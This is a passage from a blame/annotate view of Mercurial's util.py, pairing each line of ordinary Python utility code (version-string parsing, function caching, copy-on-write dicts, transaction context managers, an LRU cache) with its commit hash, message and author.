5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1027 (12, 34, None, '..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1028 >>> versiontuple(b'1.2.3.4.5.6')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1029 (1, 2, 3, '.4.5.6')
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1030 """
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1031 if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1032 v = version()
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1033 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1034 if not m:
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1035 vparts, extra = '', v
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1036 elif m.group(2):
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1037 vparts, extra = m.groups()
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1038 else:
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1039 vparts, extra = m.group(1), None
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1040
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1041 vints = []
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1042 for i in vparts.split('.'):
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1043 try:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1044 vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1045 except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1046 break
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1047 # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1048 while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1049 vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1050
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1051 if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1052 return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1053 if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1054 return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1055 if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1056 return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1057
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1058 def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1059 '''cache the result of function calls'''
3147 97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1060 # XXX doesn't handle keywords args
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1061 if func.__code__.co_argcount == 0:
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1062 cache = []
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1063 def f():
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1064 if len(cache) == 0:
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1065 cache.append(func())
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1066 return cache[0]
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1067 return f
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1068 cache = {}
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1069 if func.__code__.co_argcount == 1:
3147 97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1070 # we gain a small amount of time because
97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1071 # we don't need to pack/unpack the list
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1072 def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1073 if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1074 cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1075 return cache[arg]
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1076 else:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1077 def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1078 if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1079 cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1080 return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1081
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1082 return f
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1083
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1084 class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1085 """helper class to make copy-on-write easier
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1086
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1087 Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1088 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1089
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1090 def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1091 """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1092 if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1093 self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1094 return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1095 return self
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1096
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1097 def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1098 """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1099 self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1100 return self
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1101
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1102 class sortdict(collections.OrderedDict):
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1103 '''a simple sorted dictionary
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1104
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1105 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1106 >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1107 >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1108 sortdict([('a', 0), ('b', 1)])
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1109 >>> d2.update([(b'a', 2)])
34154 be00af4a1ac5 doctest: coerce dict.keys() to list Yuya Nishihara <yuya@tcha.org> parents: 34152 diff changeset	1110 >>> list(d2.keys()) # should still be in last-set order
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1111 ['b', 'a']
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1112 '''
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1113
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1114 def __setitem__(self, key, value):
21813 c2262004c2e2 config: move config.sortdict class into util Angel Ezquerra <angel.ezquerra@gmail.com> parents: 21046 diff changeset	1115 if key in self:
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1116 del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1117 super(sortdict, self).__setitem__(key, value)
21813 c2262004c2e2 config: move config.sortdict class into util Angel Ezquerra <angel.ezquerra@gmail.com> parents: 21046 diff changeset	1118
33624 524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1119 if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1120 # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1121 def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1122 if isinstance(src, dict):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1123 src = src.iteritems()
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1124 for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1125 self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1126
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1127 class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1128 """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1129
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1130 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1131
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1132 >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1133 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1134 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1135 >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1136 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1137 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1138 >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1139 >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1140 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1141 >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1142 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1143 False
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1144 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1145 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1146 >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1147 >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1148 False
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1149 >>> b is b.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1150 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1151 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1152
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1153 class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1154 """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1155
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1156 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1157 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1158
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1159 class transactional(object):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1160 """Base class for making a transactional type into a context manager."""
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1161 __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1162
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1163 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1164 def close(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1165 """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1166
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1167 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1168 def release(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1169 """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1170
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1171 If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1172 """
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1173
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1174 def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1175 return self
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1176
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1177 def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1178 try:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1179 if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1180 self.close()
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1181 finally:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1182 self.release()
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1183
33446 fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1184 @contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1185 def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1186 """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1187
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1188 If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1189 """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1190 if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1191 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1192 return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1193 try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1194 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1195 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1196 except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1197 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1198 raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1199 finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1200 tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1201
33691 609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1202 @contextlib.contextmanager
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1203 def nullcontextmanager():
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1204 yield
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1205
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1206 class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1207 """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1208
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1209 Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1210 pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1211 """
30038 42ead5b3aa7b py3: use unicodes in __slots__ Pulkit Goyal <7895pulkit@gmail.com> parents: 30036 diff changeset	1212 __slots__ = (u'next', u'prev', u'key', u'value')
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1213
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1214 def __init__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1215 self.next = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1216 self.prev = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1217
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1218 self.key = _notset
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1219 self.value = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1220
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1221 def markempty(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1222 """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1223 self.key = _notset
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1224
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1225 class lrucachedict(object):
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1226 """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1227
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1228 The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1229 key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1230 the cache.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1231
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1232 The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1233 we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1234 the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1235 new head node.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1236 """
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1237 def __init__(self, max):
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1238 self._cache = {}
